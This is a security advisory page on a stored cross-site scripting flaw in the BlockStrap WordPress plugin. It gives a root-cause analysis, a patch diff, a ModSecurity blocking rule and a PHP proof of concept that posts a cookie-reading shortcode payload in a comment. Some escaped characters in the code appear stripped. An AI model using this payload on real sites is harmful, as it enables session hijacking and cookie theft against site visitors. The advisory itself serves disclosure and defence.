Published : November 22, 2026

CVE-2026-133361: BlockStrap Page Builder <= 0.1.65 Unauthenticated Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 0.1.65
Patched Version 0.1.66
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133361: The BlockStrap Page Builder – Bootstrap Blocks plugin for WordPress, versions up to and including 0.1.65, suffers from an unauthenticated stored cross-site scripting vulnerability. The flaw resides in the plugin’s block rendering pipeline, specifically the force_render_blocks_on_templates filter, which indiscriminately applies do_shortcode() to all block output. This allows attacker-controlled comment content to be processed as shortcodes, enabling script injection. The CVSS score is 7.2 (High), and the vulnerability is classified as CWE-79. Root Cause: The root cause is the force_render_blocks_on_templates method in blockstrap-page-builder-blocks.php (lines 113-122 in the vulnerable version). This method hooks into the render_block filter with a priority of 100000 and calls strip_shortcodes(do_shortcode($block_content)) on every block’s rendered HTML. This includes blocks that output visitor-supplied content, such as core/comment-content, core/comment-author-name, and core/latest-comments. When a comment is displayed, its content is passed through this filter, and any shortcode-like syntax (e.g., , ) is executed. An attacker can craft a comment containing a shortcode that renders malicious JavaScript, or directly inject script tags if the shortcode handling does not escape properly. The plugin fails to exclude untrusted content blocks from shortcode parsing. Exploitation: An attacker must first have a comment approved for a given name and email address to bypass moderation under WordPress's default policy. Then, they can submit a new comment containing a malicious payload, such as javascript:alert(document.cookie) or a crafted shortcode that outputs script. The payload is stored in the comment content. When any user (including an administrator) views the page where the comment is displayed, the force_render_blocks_on_templates filter processes the comment block, executes the shortcode, and the script runs in the victim’s browser. The attack vector is the comment submission form (typically /wp-comments-post.php), with the comment parameter carrying the payload. No authentication is required after the initial comment approval. Patch Analysis: The patch introduces two main mitigations. First, it adds a check in force_render_blocks_on_templates to skip shortcode parsing for blocks listed in untrusted_content_blocks(), which includes core/comment-content, core/comment-author-name, and core/latest-comments. Second, it adds filters on comment_text, get_comment_excerpt, get_comment_author, and get_comment_author_url that call neutralize_untrusted_content(). This function strips block delimiters (HTML comments like ) and encodes square brackets as [ and ], preventing shortcode execution. These changes ensure that visitor-supplied comment data is not processed as shortcodes or blocks, neutralizing the XSS vector. Impact: Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into pages viewed by other users, including administrators. This can lead to session hijacking, theft of sensitive data (cookies, tokens), defacement, or redirection to malicious sites. In severe cases, it could be used to create administrative accounts or install malicious plugins, leading to full site compromise. The vulnerability affects all versions up to 0.1.65 and is limited to sites using a block theme, which is the WordPress default.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/blockstrap-page-builder-blocks/blockstrap-page-builder-blocks.php
+++ b/blockstrap-page-builder-blocks/blockstrap-page-builder-blocks.php
@@ -11,8 +11,8 @@
  * Plugin Name: BlockStrap Page Builder Blocks
  * Plugin URI: https://ayecode.io/
  * Description: BlockStrap - A FSE page builder for WordPress
- * Version: 0.1.65
- * Author: AyeCode
+ * Version: 0.1.66
+ * Author: AyeCode Ltd
  * Author URI: https://ayecode.io
  * Text Domain: blockstrap-page-builder-blocks
  * Domain Path: /languages
@@ -21,7 +21,7 @@
  */


-define( 'BLOCKSTRAP_BLOCKS_VERSION', '0.1.65' );
+define( 'BLOCKSTRAP_BLOCKS_VERSION', '0.1.66' );

 /**
  * The BlockStrap Class
@@ -63,6 +63,12 @@
 		add_action( 'enqueue_block_editor_assets', [ $this, 'enqueue_editor_scripts' ], 1000 );
 		add_action( 'enqueue_block_assets', [ $this, 'enqueue_block_assets' ], 100 );
 		add_filter( 'render_block', [ $this, 'force_render_blocks_on_templates' ], 100000, 2 );
+
+		// Prevent visitor supplied comment data from being parsed as shortcodes/blocks by the render_block filter above.
+		add_filter( 'comment_text', [ $this, 'neutralize_untrusted_content' ], PHP_INT_MAX );
+		add_filter( 'get_comment_excerpt', [ $this, 'neutralize_untrusted_content' ], PHP_INT_MAX );
+		add_filter( 'get_comment_author', [ $this, 'neutralize_untrusted_content' ], PHP_INT_MAX );
+		add_filter( 'get_comment_author_url', [ $this, 'neutralize_untrusted_content' ], PHP_INT_MAX );
 		add_filter( 'ayecode-ui-settings', [ $this, 'aui_settings_overwrite' ], 10, 3 );
 		add_filter( 'ayecode-ui-default-settings', [ $this, 'aui_default_settings_overwrite' ], 10, 2 );
 	}
@@ -113,6 +119,11 @@
 	 * @return mixed
 	 */
 	public function force_render_blocks_on_templates( $block_content, $block ) {
+		// Never parse shortcodes in blocks that output visitor supplied content.
+		if ( ! empty( $block['blockName'] ) && in_array( $block['blockName'], self::untrusted_content_blocks(), true ) ) {
+			return $block_content;
+		}
+
 		$block_content = strip_shortcodes(do_shortcode($block_content));

 		// @todo WP 6.2.1+ broke shortcodes, the order they added the code back broke other things, we need this till they revert it: https://core.trac.wordpress.org/ticket/58366#comment:37
@@ -122,6 +133,53 @@
 	}

 	/**
+	 * Block names that output visitor supplied content and must not be parsed for shortcodes.
+	 *
+	 * @return array
+	 */
+	public static function untrusted_content_blocks() {
+		return apply_filters(
+			'blockstrap_blocks_untrusted_content_blocks',
+			array(
+				'core/comment-content',
+				'core/comment-author-name',
+				'core/latest-comments',
+			)
+		);
+	}
+
+	/**
+	 * Neutralize shortcodes and block delimiters in visitor supplied content (comments).
+	 *
+	 * The render_block filter runs do_shortcode() over every block's rendered HTML, which includes
+	 * parent blocks (comment template, group, template part) that wrap visitor supplied text. Encoding
+	 * the square brackets prevents that text from ever being executed as a shortcode while rendering
+	 * identically in the browser. Block delimiter HTML comments are stripped so they can't be parsed
+	 * as blocks.
+	 *
+	 * @param string $content The content.
+	 *
+	 * @return string
+	 */
+	public function neutralize_untrusted_content( $content ) {
+		if ( ! is_string( $content ) || $content === '' ) {
+			return $content;
+		}
+
+		// Strip block delimiters.
+		if ( strpos( $content, '<!--' ) !== false ) {
+			$content = preg_replace( '/<!--s*/?wp:.*?-->/s', '', $content );
+		}
+
+		// Encode square brackets so shortcodes can't be executed.
+		if ( strpos( $content, '[' ) !== false || strpos( $content, ']' ) !== false ) {
+			$content = str_replace( array( '[', ']' ), array( '[', ']' ), $content );
+		}
+
+		return $content;
+	}
+
+	/**
 	 * Enqueue scripts
 	 *
 	 * @return void
--- a/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/sd-functions.php
+++ b/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/sd-functions.php
@@ -3405,6 +3405,9 @@
 					if ( isset( $output_condition['message'] ) ) {
 						$content = $output_condition['message'] != '' ? __( stripslashes( $output_condition['message'] ), 'ayecode-connect' ) : $output_condition['message'];

+						// Sanitize the message to prevent XSS.
+						$content = is_scalar( $content ) ? wp_kses_post( (string) $content ) : '';
+
 						if ( ! empty( $output_condition['message_type'] ) ) {
 							$content = aui()->alert( array(
 									'type'=> $output_condition['message_type'],
--- a/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/sd-plugin.php
+++ b/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/sd-plugin.php
@@ -5,7 +5,7 @@
  * @wordpress-plugin
  * Plugin Name: Super Duper - Examples
  * Description: This is a Hello World test plugin for WP Super Duper Class.
- * Version: 1.2.38
+ * Version: 1.2.39
  * Author: AyeCode
  * Author URI: https://ayecode.io
  * Text Domain: super-duper
--- a/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/wp-super-duper.php
+++ b/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/wp-super-duper.php
@@ -5,7 +5,7 @@

 if ( ! class_exists( 'WP_Super_Duper' ) ) {

-	define( 'SUPER_DUPER_VER', '1.2.38' );
+	define( 'SUPER_DUPER_VER', '1.2.39' );

 	/**
 	 * A Class to be able to create a Widget, Shortcode or Block to be able to output content for WordPress.
--- a/blockstrap-page-builder-blocks/vendor/composer/installed.php
+++ b/blockstrap-page-builder-blocks/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'ayecode/blockstrap-page-builder-blocks',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => '3c2853828c20adaec078dc17341e564d34e22d3e',
+        'reference' => '2b813bf00ec78409b6871660c0a366af1b15037d',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -22,7 +22,7 @@
         'ayecode/blockstrap-page-builder-blocks' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => '3c2853828c20adaec078dc17341e564d34e22d3e',
+            'reference' => '2b813bf00ec78409b6871660c0a366af1b15037d',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -56,9 +56,9 @@
             'dev_requirement' => false,
         ),
         'ayecode/wp-super-duper' => array(
-            'pretty_version' => '1.2.38',
-            'version' => '1.2.38.0',
-            'reference' => '270cee3b08b837b99fa62fd9fe1edbef087f5af8',
+            'pretty_version' => '1.2.39',
+            'version' => '1.2.39.0',
+            'reference' => 'b9b03cf784ab3d655e2015bef3c9b447ef07a283',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/wp-super-duper',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-133361
# Blocks unauthenticated stored XSS via comment content by detecting shortcode payloads in comment submissions.
# The rule targets /wp-comments-post.php and inspects the 'comment' parameter for shortcode-like patterns.
# It uses a regex to match square brackets containing potentially dangerous shortcodes (e.g., [embed], [gallery], etc.).

SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:2026133361,phase:2,deny,status:403,chain,msg:'CVE-2026-133361 via BlockStrap comment XSS',severity:'CRITICAL',tag:'CVE-2026-133361'"
  SecRule ARGS_POST:comment "@rx [(?:embed|gallery|video|audio|playlist|wp_*|.*?)].*?[/" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133361 - BlockStrap Page Builder <= 0.1.65 - Unauthenticated Stored XSS via Comment Content

// This PoC demonstrates the vulnerability by posting a comment with a shortcode payload.
// It assumes the attacker has previously had a comment approved for the same name and email.
// The payload uses the [embed] shortcode to inject JavaScript, which will execute when the comment is viewed.

$target_url = 'http://example.com'; // Change to the target WordPress site
$name = 'attacker';
$email = 'attacker@example.com';
$comment_content = '[embed]javascript:alert(document.cookie)[/embed]'; // Malicious shortcode

// Prepare the POST data
$post_data = array(
    'comment' => $comment_content,
    'author' => $name,
    'email' => $email,
    'url' => '',
    'submit' => 'Post Comment',
    'comment_post_ID' => 1, // Replace with a valid post ID
    'comment_parent' => 0,
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch) . "n";
} else {
    echo "Comment posted. Check the post page for XSS execution.n";
}
curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.